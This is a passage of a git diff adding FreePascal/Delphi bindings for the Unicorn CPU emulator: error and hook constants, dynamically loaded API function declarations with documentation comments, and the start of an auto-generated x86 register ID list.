16; + + UC_ERR_OK = 0; + UC_ERR_NOMEM = 1; + UC_ERR_ARCH = 2; + UC_ERR_HANDLE = 3; + UC_ERR_MODE = 4; + UC_ERR_VERSION = 5; + UC_ERR_READ_UNMAPPED = 6; + UC_ERR_WRITE_UNMAPPED = 7; + UC_ERR_FETCH_UNMAPPED = 8; + UC_ERR_HOOK = 9; + UC_ERR_INSN_INVALID = 10; + UC_ERR_MAP = 11; + UC_ERR_WRITE_PROT = 12; + UC_ERR_READ_PROT = 13; + UC_ERR_FETCH_PROT = 14; + UC_ERR_ARG = 15; + UC_ERR_READ_UNALIGNED = 16; + UC_ERR_WRITE_UNALIGNED = 17; + UC_ERR_FETCH_UNALIGNED = 18; + UC_ERR_HOOK_EXIST = 19; + UC_ERR_RESOURCE = 20; + UC_ERR_EXCEPTION = 21; + UC_MEM_READ = 16; + UC_MEM_WRITE = 17; + UC_MEM_FETCH = 18; + UC_MEM_READ_UNMAPPED = 19; + UC_MEM_WRITE_UNMAPPED = 20; + UC_MEM_FETCH_UNMAPPED = 21; + UC_MEM_WRITE_PROT = 22; + UC_MEM_READ_PROT = 23; + UC_MEM_FETCH_PROT = 24; + UC_MEM_READ_AFTER = 25; + UC_HOOK_INTR = 1; + UC_HOOK_INSN = 2; + UC_HOOK_CODE = 4; + UC_HOOK_BLOCK = 8; + UC_HOOK_MEM_READ_UNMAPPED = 16; + UC_HOOK_MEM_WRITE_UNMAPPED = 32; + UC_HOOK_MEM_FETCH_UNMAPPED = 64; + UC_HOOK_MEM_READ_PROT = 128; + UC_HOOK_MEM_WRITE_PROT = 256; + UC_HOOK_MEM_FETCH_PROT = 512; + UC_HOOK_MEM_READ = 1024; + UC_HOOK_MEM_WRITE = 2048; + UC_HOOK_MEM_FETCH = 4096; + UC_HOOK_MEM_READ_AFTER = 8192; + UC_HOOK_MEM_UNMAPPED = 112; + UC_HOOK_MEM_PROT = 896; + UC_HOOK_MEM_READ_INVALID = 144; + UC_HOOK_MEM_WRITE_INVALID = 288; + UC_HOOK_MEM_FETCH_INVALID = 576; + UC_HOOK_MEM_INVALID = 1008; + UC_HOOK_MEM_VALID = 7168; + UC_QUERY_MODE = 1; + UC_QUERY_PAGE_SIZE = 2; + UC_QUERY_ARCH = 3; + + UC_PROT_NONE = 0; + UC_PROT_READ = 1; + UC_PROT_WRITE = 2; + UC_PROT_EXEC = 4; + UC_PROT_ALL = 7; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/Unicorn_dyn.pas b/Core/unicorn/Unicorn_dyn.pas new file mode 100755 index 0000000..7e00cca --- /dev/null +++ b/Core/unicorn/Unicorn_dyn.pas @@ -0,0 +1,695 @@ +{ + FreePascal/Delphi bindings for the UnicornEngine Emulator Engine \ + Tested On Mac - Win - Linux >> with FreePascal v3.0.4 & Delphi Berlin 10.2 . + + Copyright(c) 2018 Coldzer0 <Coldzer0 [at] protonmail.ch> . + + License: GPLv2 . +} + +unit Unicorn_dyn; + +{$IFDEF FPC} + {$MODE Delphi} + {$PackRecords C} +{$ENDIF} + +interface + +uses + {$IFDEF FPC}dynlibs,Crt{$ELSE} + {$ifdef mswindows} + windows,sysutils + {$ENDIF} + {$ENDIF}; + + +const +{$IFDEF Darwin} + UNICORN_LIB = './libunicorn.dylib'; +{$ENDIF} +{$ifdef Linux} + UNICORN_LIB = './libunicorn.so'; +{$endif} +{$ifdef mswindows} + UNICORN_LIB = {$IFDEF CPU64}'./unicorn64.dll'{$ELSE}'./unicorn32.dll'{$ENDIF}; +{$endif} + +type + uc_engine = Pointer; + uc_context = Pointer; // Opaque storage for CPU context, used with uc_context_*() + uc_hook = UIntPtr; + uc_arch = Cardinal; + uc_mode = Cardinal; + uc_err = Cardinal; + uc_query_type = Cardinal; + + {$IFNDEF FPC} // Delphi Support . + PUInt32 = ^UInt32; + {$ENDIF} + +type + // Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. + // Borrow from SegmentCache in qemu/target-i386/cpu.h + uc_x86_mmr = record + selector : UInt16; // not used by GDTR and IDTR . + base : UInt64; // handle 32 or 64 bit CPUs . + limit : UInt32; + flags : UInt32; // not used by GDTR and IDTR . + end; + // Model-Specific Register structure, use this with UC_X86_REG_MSR (as the register ID) in + // call to uc_reg_write/uc_reg_read() to manipulate MSRs. + uc_x86_msr = record + rid : UInt32; // MSR id . + value : UInt64; // MSR value . + end; + +type + { + Callback function for tracing SYSCALL/SYSENTER (for uc_hook_intr()) + @user_data: user data passed to tracing APIs. + } + uc_cb_insn_syscall_t = procedure(uc : uc_engine; user_data : Pointer); cdecl; + + { + Callback functions + Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) + @address: address where the code is being executed + @size: size of machine instruction(s) being executed, or 0 when size is unknown + @user_data: user data passed to tracing APIs. + } + uc_cb_hookcode_t = procedure(uc : uc_engine; address : UInt64; size : UInt32; user_data : Pointer); cdecl; + + { + Callback function for tracing interrupts (for uc_hook_intr()) + @intno: interrupt number + @user_data: user data passed to tracing APIs. + } + uc_cb_hookintr_t = procedure(uc : uc_engine; intno : UInt32; user_data : Pointer); cdecl; + + { + Callback function for tracing IN instruction of X86 + @port: port number + @size: data size (1/2/4) to be read from this port + @user_data: user data passed to tracing APIs. + } + uc_cb_insn_in_t = function(uc : uc_engine; port : UInt32; siz : integer; user_data : Pointer) : UInt32; cdecl; + + { + Callback function for OUT instruction of X86 . + @port: port number + @size: data size (1/2/4) to be written to this port + @value: data value to be written to this port + } + uc_cb_insn_out_t = procedure(uc : uc_engine; port : UInt32; size : integer; value : UInt32; user_data : Pointer); cdecl; + + // All type of memory accesses for UC_HOOK_MEM_* + uc_mem_type = integer; + + // All type of hooks for uc_hook_add() API. + uc_hook_type = integer; + + { + Callback function for hooking memory (UC_MEM_READ, UC_MEM_WRITE & UC_MEM_FETCH) + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + } + uc_cb_hookmem_t = procedure(uc : uc_engine; _type : uc_mem_type; address : UInt64; size : integer; value : Int64; user_data : Pointer); cdecl; + + { + Callback function for handling invalid memory access events (UNMAPPED and + PROT events) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + + @return: return true to continue, or false to stop program (due to invalid memory). + NOTE: returning true to continue execution will only work if if the accessed + memory is made accessible with the correct permissions during the hook. + + In the event of a UC_MEM_READ_UNMAPPED or UC_MEM_WRITE_UNMAPPED callback, + the memory should be uc_mem_map()-ed with the correct permissions, and the + instruction will then read or write to the address as it was supposed to. + + In the event of a UC_MEM_FETCH_UNMAPPED callback, the memory can be mapped + in as executable, in which case execution will resume from the fetched address. + The instruction pointer may be written to in order to change where execution resumes, + but the fetch must succeed if execution is to resume. + } + uc_cb_eventmem_t = function(uc : uc_engine; _type : uc_mem_type; address : UInt64; size : integer; value : Int64; user_data : Pointer) : LongBool; cdecl; + + +type + { + Memory region mapped by uc_mem_map() and uc_mem_map_ptr() + Retrieve the list of memory regions with uc_mem_regions() + } + uc_mem_region = record + rBegin : UInt64; // begin address of the region (inclusive) + rEnd : UInt64; // end address of the region (inclusive) + rPerms : UInt32; // memory permissions of the region + end; + uc_mem_regionArray = array[0..(MaxInt div SizeOf(uc_mem_region))-1] of uc_mem_region; + Puc_mem_regionArray = ^uc_mem_regionArray; + + +// Exports +var +(* + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro UC_MAKE_VERSION . + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*) + uc_version : function (var major, minor : Cardinal) : Cardinal; cdecl; + +(* + Determine if the given architecture is supported by this library. + + @arch: architecture type (UC_ARCH_* ) + + @return True if this library supports the given arch. +*) + uc_arch_supported : function (arch : uc_arch) : LongBool; cdecl; + +(* + Create new instance of unicorn engine. + + @arch: architecture type (UC_ARCH_* ) + @mode: hardware mode. This is combined of UC_MODE_* + @uc: pointer to uc_engine, which will be updated at return time + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + function uc_open(arch : uc_arch; mode : uc_mode; var uc : uc_engine) : uc_err; cdecl; +var +(* + Close UC instance: MUST do to release the handle when it is not used anymore. + NOTE: this must be called only when there is no longer usage of Unicorn. + The reason is the this API releases some cached memory, thus access to any + Unicorn API after uc_close() might crash your application. + After this, @uc is invalid, and nolonger usable. + + @uc: pointer to a handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_close : function (uc : uc_engine) : uc_err; cdecl; + +(* + Query internal status of engine. + + @uc: handle returned by uc_open() + @type: query type. See uc_query_type + + @result: save the internal status queried . + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*) + uc_query : function (uc : uc_engine; qtype : uc_query_type; result : PCardinal) : uc_err ; cdecl; + + +(* + Report the last error number when some API function fail. + Like glibc's errno, uc_errno might not retain its old value once accessed. + + @uc: handle returned by uc_open() + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*) + uc_errno : function (uc : uc_engine) : uc_err; cdecl; + +(* + Return a string describing given error code. + + @code: error code (see UC_ERR_* ) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code +*) + uc_strerror : function (code : uc_err) : PAnsiChar; cdecl; + +(* + Write to register. + + @uc: handle returned by uc_open() + @regid: register ID that is to be modified. + @value: pointer to the value that will set to register @regid . + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_reg_write : function (uc : uc_engine; regid : Integer; const value : Pointer) : uc_err; cdecl; + +(* + Read register value. + + @uc: handle returned by uc_open() + @regid: register ID that is to be retrieved. + @value: pointer to a variable storing the register value. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_read: function (uc : uc_engine; regid : Integer; value : Pointer) : uc_err; cdecl ; + + +(* + Write multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to store + @value: pointer to array of register values + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_write_batch : function(uc : uc_engine; regs : PIntegerArray; const values : Pointer; count : Integer) : uc_err; cdecl; + +(* + Read multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to retrieve + @value: pointer to array of values to hold registers + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_read_batch : function(uc : uc_engine; regs : PIntegerArray; var values : Pointer; count : integer) : uc_err; cdecl; + +(* + Write to a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to set. + @bytes: pointer to a variable containing data to be written to memory. + @size: size of memory to write to. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_write_ : function (uc : uc_engine; address : UInt64; const bytes : Pointer; + size : Cardinal) : uc_err; cdecl; + +(* + Read a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to get. + @bytes: pointer to a variable containing data copied from memory. + @size: size of memory to read. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_read_ : function (uc : uc_engine; address : UInt64; bytes : Pointer; + size : Cardinal) : uc_err; cdecl; + +(* + Emulate machine code in a specific duration of time. + + @uc: handle returned by uc_open() + @begin: address where emulation starts + @until: address where emulation stops (i.e when this address is hit) + @timeout: duration to emulate the code (in microseconds). When this value is 0, + we will emulate the code in infinite time, until the code is finished. + @count: the number of instructions to be emulated. When this value is 0, + we will emulate all the code available, until the code is finished. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_emu_start : function (uc : uc_engine; _begin, _until , timeout : UInt64; + count : Cardinal) : uc_err; cdecl; + +(* + Stop emulation (which was started by uc_emu_start() API. + This is typically called from callback functions registered via tracing APIs. + NOTE: for now, this will stop the execution only after the current block. + + @uc: handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_emu_stop : function (uc : uc_engine) : uc_err; cdecl; + +(* +function (uc : uc_engine; var hh : uc_hook; _type : integer; + callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; args : Array Of Const) : uc_err; cdecl; + +Register callback for a hook event. +The callback will be run when the hook event is hit. + +@uc: handle returned by uc_open() +@hh: hook handle returned from this registration. To be used in uc_hook_del() API +@type: hook type +@callback: callback to be run when instruction is hit +@user_data: user-defined data. This will be passed to callback function in its + last argument @user_data +@begin: start address of the area where the callback is effect (inclusive) +@end: end address of the area where the callback is effect (inclusive) + NOTE 1: the callback is called only if related address is in range [@begin, @end] + NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered +@...: variable arguments (depending on @type) + NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) + +@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_hook_add : function (uc : uc_engine; var hh : uc_hook; _type : integer; + callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; args : Array Of Const) : uc_err; cdecl; + +(* + Unregister (remove) a hook callback. + This API removes the hook callback registered by uc_hook_add(). + NOTE: this should be called only when you no longer want to trace. + After this, @hh is invalid, and nolonger usable. + + @uc: handle returned by uc_open() + @hh: handle returned by uc_hook_add() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_hook_del : function (uc : uc_engine; hh : uc_hook) : uc_err; cdecl ; + +(* + Map memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_map : function (uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32) : uc_err; cdecl; + + +(* + Map existing host memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + @ptr: pointer to host memory backing the newly mapped memory. This host memory is + expected to be an equal or larger size than provided, and be mapped with at + least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_map_ptr : function(uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32; ptr : Pointer) : uc_err; cdecl; + + +(* + Unmap a region of emulation memory. + This API deletes a memory mapping from the emulation memory space. + + @handle: handle returned by uc_open() + @address: starting address of the memory region to be unmapped. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_unmap : function (uc : uc_engine; address : UInt64; size : Cardinal) : uc_err; cdecl ; + +(* + Set memory permissions for emulation memory. + This API changes permissions on an existing memory region. + + @handle: handle returned by uc_open() + @address: starting address of the memory region to be modified. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: New permissions for the mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_protect : function (uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32) : uc_err; cdecl ; + +(* + Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() + This API allocates memory for @regions, and user must free this memory later + by free() to avoid leaking memory. + NOTE: memory regions may be splitted by uc_mem_unmap() + + @uc: handle returned by uc_open() + @regions: pointer to an array of uc_mem_region struct. >> Check "Puc_mem_regionArray" + This is allocated by Unicorn, and must be freed by user later. + @count: pointer to number of struct uc_mem_region contained in @regions + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_regions : function(uc : uc_engine; var regions : Puc_mem_regionArray; count : PUInt32) : uc_err; cdecl ; + +(* + Allocate a region that can be used with uc_context_{save,restore} to perform + quick save/rollback of the CPU context, which includes registers and some + internal metadata. Contexts may not be shared across engine instances with + differing arches or modes. + + @uc: handle returned by uc_open() + @context: pointer to a uc_engine*. This will be updated with the pointer to + the new context on successful return of this function. + Later, this allocated memory must be freed with uc_free(). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_context_alloc : function ( uc : uc_engine; var context : uc_context) : uc_err; cdecl ; + +(* + Free the memory allocated by uc_context_alloc & uc_mem_regions. + + @mem: memory allocated by uc_context_alloc (returned in *context), or + by uc_mem_regions (returned in *regions) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_free : function (context : Pointer) : uc_err; cdecl ; + + +(* + Save a copy of the internal CPU context. + This API should be used to efficiently make or update a saved copy of the + internal CPU state. + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_context_save : function ( uc : uc_engine; context : uc_context) : uc_err; cdecl; + +(* + Restore the current CPU context from a saved copy. + This API should be used to roll the CPU context back to a previous + state saved by uc_context_save(). + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc that has been used with uc_context_save + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + function uc_context_restore(uc : uc_engine; context : uc_context) : uc_err; cdecl; + + +{============================= Global Functions ================================} + + function UC_MAKE_VERSION(major,minor : Cardinal): Cardinal; + +implementation +var + uc_open_ref : function (arch : uc_arch; mode : uc_mode; var uc : uc_engine) : uc_err; cdecl = nil; + uc_context_restore_ref : function (uc : uc_engine; context : uc_context) : uc_err; cdecl = nil; + +// this way when i use auto-complete it will act like a function not variable . +// will implement other functions later :D . +function uc_open(arch : uc_arch; mode : uc_mode; var uc : uc_engine) : uc_err; cdecl; +begin + Result := uc_open_ref(arch,mode,uc); +end; +function uc_context_restore(uc : uc_engine; context : uc_context) : uc_err; cdecl; +begin + Result := uc_context_restore_ref(uc,context); +end; + +function UC_MAKE_VERSION(major,minor : Cardinal): Cardinal; +begin + Result := ((major shl 8) + minor); +end; + +var + UC_Handle : {$IFDEF FPC}dynlibs.{$ENDIF}HModule; + +function dyn_loadfunc(name : {$IFDEF FPC}string{$ELSE}PChar{$ENDIF}) : Pointer; +begin + Result := {$IFDEF FPC}dynlibs.{$ENDIF}GetProcAddress(UC_Handle,name); +end; + +function loadUC(): Boolean; +var + LastError : String; +begin + Result := false; + UC_Handle := {$IFDEF FPC}dynlibs.{$ENDIF}LoadLibrary(UNICORN_LIB); + if UC_Handle <> 0 then + begin + @uc_version := dyn_loadfunc('uc_version'); + if (@uc_version = nil) then exit(false); + + @uc_arch_supported := dyn_loadfunc('uc_arch_supported'); + if (@uc_arch_supported = nil) then exit(false); + + @uc_open_ref := dyn_loadfunc('uc_open'); + if (@uc_open_ref = nil) then exit(false); + + @uc_close := dyn_loadfunc('uc_close'); + if (@uc_close = nil) then exit(false); + + @uc_query := dyn_loadfunc('uc_query'); + if (@uc_query = nil) then exit(false); + + @uc_errno := dyn_loadfunc('uc_errno'); + if (@uc_errno = nil) then exit(false); + + @uc_strerror := dyn_loadfunc('uc_strerror'); + if (@uc_strerror = nil) then exit(false); + + @uc_reg_write := dyn_loadfunc('uc_reg_write'); + if (@uc_reg_write = nil) then exit(false); + + @uc_reg_read := dyn_loadfunc('uc_reg_read'); + if (@uc_reg_read = nil) then exit(false); + + @uc_reg_write_batch := dyn_loadfunc('uc_reg_write_batch'); + if (@uc_reg_write_batch = nil) then exit(false); + + @uc_reg_read_batch := dyn_loadfunc('uc_reg_read_batch'); + if (@uc_reg_read_batch = nil) then exit(false); + + @uc_mem_write_ := dyn_loadfunc('uc_mem_write'); + if (@uc_mem_write_ = nil) then exit(false); + + @uc_mem_read_ := dyn_loadfunc('uc_mem_read'); + if (@uc_mem_read_ = nil) then exit(false); + + @uc_emu_start := dyn_loadfunc('uc_emu_start'); + if (@uc_emu_start = nil) then exit(false); + + @uc_emu_stop := dyn_loadfunc('uc_emu_stop'); + if (@uc_emu_stop = nil) then exit(false); + + @uc_hook_add := dyn_loadfunc('uc_hook_add'); + if (@uc_hook_add = nil) then exit(false); + + @uc_hook_del := dyn_loadfunc('uc_hook_del'); + if (@uc_hook_del = nil) then exit(false); + + @uc_mem_map := dyn_loadfunc('uc_mem_map'); + if (@uc_mem_map = nil) then exit(false); + + @uc_mem_map_ptr := dyn_loadfunc('uc_mem_map_ptr'); + if (@uc_mem_map_ptr = nil) then exit(false); + + @uc_mem_unmap := dyn_loadfunc('uc_mem_unmap'); + if (@uc_mem_unmap = nil) then exit(false); + + @uc_mem_protect := dyn_loadfunc('uc_mem_protect'); + if (@uc_mem_protect = nil) then exit(false); + + @uc_mem_regions := dyn_loadfunc('uc_mem_regions'); + if (@uc_mem_regions = nil) then exit(false); + + @uc_context_alloc := dyn_loadfunc('uc_context_alloc'); + if (@uc_context_alloc = nil) then exit(false); + + @uc_context_save := dyn_loadfunc('uc_context_save'); + if (@uc_context_save = nil) then exit(false); + + @uc_context_restore_ref := dyn_loadfunc('uc_context_restore'); + if (@uc_context_restore_ref = nil) then exit(false); + + @uc_free := dyn_loadfunc('uc_free'); + if (@uc_free = nil) then exit(false); + + Result := true; + end + else + begin + {$IFDEF FPC}TextColor(LightRed);{$ENDIF} + LastError := {$IFDEF FPC}GetLoadErrorStr;{$ELSE} + {$ifdef mswindows} + SysErrorMessage(GetLastError,UC_Handle); + SetLastError(0); + {$ENDIF} + {$ENDIF} + WriteLn('error while loading unicorn library : ',LastError,#10); + {$IFDEF FPC}NormVideo;{$ENDIF} + end; +end; + +procedure FreeUC(); +begin + if UC_Handle <> 0 then + {$IFDEF FPC}dynlibs.{$ENDIF}FreeLibrary(UC_Handle); +end; + +initialization + UC_Handle := 0; + if not loadUC then halt(0); + +finalization + FreeUC(); +end. diff --git a/Core/unicorn/X86Const.pas b/Core/unicorn/X86Const.pas new file mode 100644 index 0000000..2b2f986 --- /dev/null +++ b/Core/unicorn/X86Const.pas @@ -0,0 +1,1604 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit X86Const; + +interface + +const +// X86 registers + + UC_X86_REG_INVALID = 0; + UC_X86_REG_AH = 1; + UC_X86_REG_AL = 2; + UC_X86_REG_AX = 3; + UC_X86_REG_BH = 4; + UC_X86_REG_BL = 5; + UC_X86_REG_BP = 6; + UC_X86_REG_BPL = 7; + UC_X86_REG_BX = 8; + UC_X86_REG_CH = 9; + UC_X86_REG_CL = 10; + UC_X86_REG_CS = 11; + UC_X86_REG_CX = 12; + UC_X86_REG_DH = 13; + UC_X86_REG_DI = 14; + UC_X86_REG_DIL = 15; + UC_X86_REG_DL = 16; + UC_X86_REG_DS = 17; + UC_X86_REG_DX = 18; + UC_X86_REG_EAX = 19; + UC_X86_REG_EBP = 20; + UC_X86_REG_EBX = 21; + UC_X86_REG_ECX = 22; + UC_X86_REG_EDI = 23; + UC_X86_REG_EDX = 24; + UC_X86_REG_EFLAGS = 25; + UC_X86_REG_EIP = 26; + UC_X86_REG_EIZ = 27; + UC_X86_REG_ES = 28; + UC_X86_REG_ESI = 29; + UC_X86_REG_ESP = 30; + UC_X86_REG_FPSW = 31; + UC_X86_REG_FS = 32; + UC_X86_REG_GS = 33; + UC_X86_REG_IP = 34; + UC_X86_REG_RAX = 35; + UC_X86_REG_RBP = 36; + UC_X86_REG_RBX = 37; + UC_X86_REG_RCX = 38; + UC_X86_REG_RDI = 39; + UC_X86_REG_RDX = 40; + UC_X86_REG_RIP = 41; + UC_X86_REG_RIZ = 42; + UC_X86_REG_RSI = 43; + UC_X86_REG_RSP = 44; + UC_X86_REG_SI = 45; + UC_X86_REG_SIL = 46; + UC_X86_REG_SP = 47; + UC_X86_REG_SPL = 48; + UC_X86_REG_SS = 49; + UC_X86_REG_CR0 = 50; + UC_X86_REG_CR1 = 51; + UC_X86_REG_CR2 = 52; + UC_X86_REG_CR3 = 53; + UC_X86_REG_CR4 = 54; + UC_X86_REG_CR5 = 55; + UC_X86_REG_CR6 = 56; + UC_X86_REG_CR7 = 57; + UC_X86_REG_CR8 = 58; + UC_X86_REG_CR9 = 59; + UC_X86_REG_CR10 = 60; + UC_X86_REG_CR11 = 61; + UC_X86_REG_CR12 = 62; + UC_X86_REG_CR13 = 63; + UC_X86_REG_CR14 = 64; + UC_X86_REG_CR15 = 65; + UC_X86_REG_DR0 = 66; + UC_X86_REG_DR1 = 67; + UC_X86_REG_DR2 = 68; + UC_X86_REG_DR3 = 69; + UC_X86_REG_DR4 = 70; + UC_X86_REG_DR5 = 71; + UC_X86_REG_DR6 = 72; + UC_X86_REG_DR7 = 73; + UC_X86_REG_DR8 = 74; + UC_X86_REG_DR9 = 75; + UC_X86_REG_DR10 = 76; + UC_X86_REG_DR11 = 77; + UC_X86_REG_DR12 = 78; + UC_X86_REG_DR13 = 79; + UC_X86_REG_DR14 = 80; + UC_X86_REG_DR15 = 81; + UC_X86_REG_FP0 = 82; + UC_X86_REG_FP1 = 83; + UC_X86_REG_FP2 = 84; + UC_X86_REG_FP3 = 85; + UC_X86_REG_FP4 = 86; + UC_X86_REG_FP5 = 87; + UC_X86_REG_FP6 = 88; + UC_X86_REG_FP7 = 89; + UC_X86_REG_K0 = 90; + UC_X86_REG_K1 = 91; + UC_X86_REG_K2 = 92; + UC_X86_REG_K3 = 93; + UC_X86_REG_K4 = 94; + UC_X86_REG_K5 = 95; + UC_X86_REG_K6 = 96; + UC_X86_REG_K7 = 97; + UC_X86_REG_MM0 = 98; + UC_X86_REG_MM1 = 99; + UC_X86_REG_MM2 = 100; + UC_X86_REG_MM3 = 101; + UC_X86_REG_MM4 = 102; + UC_X86_REG_MM5 = 103; + UC_X86_REG_MM6 = 104; + UC_X86_REG_MM7 = 105; + UC_X86_REG_R8 = 106; + UC_X86_REG_R9 = 107; + UC_X86_REG_R10 = 108; + UC_X86_REG_R11 = 109; + UC_X86_REG_R12 = 110; + UC_X86_REG_R13 = 111; + UC_X86_REG_R14 = 112; + UC_X86_REG_R15 = 113; + UC_X86_REG_ST0 = 114; + UC_X86_REG_ST1 = 115; + UC_X86_REG_ST2 = 116; + UC_X86_REG_ST3 = 117; + UC_X86_REG_ST4 = 118; + UC_X86_REG_ST5 = 119; + UC_X86_REG_ST6 = 120; + UC_X86_REG_ST7 = 121; + UC_X86_REG_XMM0 = 122; + UC_X86_REG_XMM1 = 123; + UC_X86_REG_XMM2 = 124; + UC_X86_REG_XMM3 = 125; + UC_X86_REG_XMM4 = 126; + UC_X86_REG_XMM5 = 127; + UC_X86_REG_XMM6 = 128; + UC_X86_REG_XMM7 = 129; + UC_X86_REG_XMM8 = 130; + UC_X86_REG_XMM9 = 131; + UC_X86_REG_XMM10 = 132; + UC_X86_REG_XMM11 = 133; + UC_X86_REG_XMM12 = 134; + UC_X86_REG_XMM13 = 135; + UC_X86_REG_XMM14 = 136; + UC_X86_REG_XMM15 = 137; + UC_X86_REG_XMM16 = 138; + UC_X86_REG_XMM17 = 139; + UC_X86_REG_XMM18 = 140; + UC_X86_REG_XMM19 = 141; + UC_X86_REG_XMM20 = 142; + UC_X86_REG_XMM21 = 143; + UC_X86_REG_XMM22 = 144; + UC_X86_REG_XMM23 = 145; + UC_X86_REG_XMM24 = 146; + UC_X86_REG_XMM25 = 147; + UC_X86_REG_XMM26 = 148; + UC_X86_REG_XMM27 = 149; + UC_X86_REG_XMM28 = 150; + UC_X86_REG_XMM29 = 151; + UC_X86_REG_XMM30 = 152; + UC_X86_REG_XMM31 = 153; + UC_X86_REG_YMM0 = 154; + UC_X86_REG_YMM1 = 155; + UC_X86_REG_YMM2 = 156; + UC_X86_REG_YMM3 = 157; + UC_X86_REG_YMM4 = 158; + UC_X86_REG_YMM5 = 159; + UC_X86_REG_YMM6 = 160; + UC_X86_REG_YMM7 = 161; + UC_X86_REG_YMM8 = 162; + UC_X86_REG_YMM9 = 163; + UC_X86_REG_YMM10 = 164; + UC_X86_REG_YMM11 = 165; + UC_X86_REG_YMM12 = 166; + UC_X86_REG_YMM13 = 167; + UC_X86_REG_YMM14 = 168; + UC_X86_REG_YMM15 = 169; + UC_X86_REG_YMM16 = 170; + UC_X86_REG_YMM17 = 171; + UC_X86_REG_YMM18 = 172; + UC_X86_REG_YMM19 = 173; + UC_X86_REG_YMM20 = 174; + UC_X86_REG_YMM21 = 175; + UC_X86_REG_YMM22 = 176; + UC_X86_REG_YMM23 = 177; + 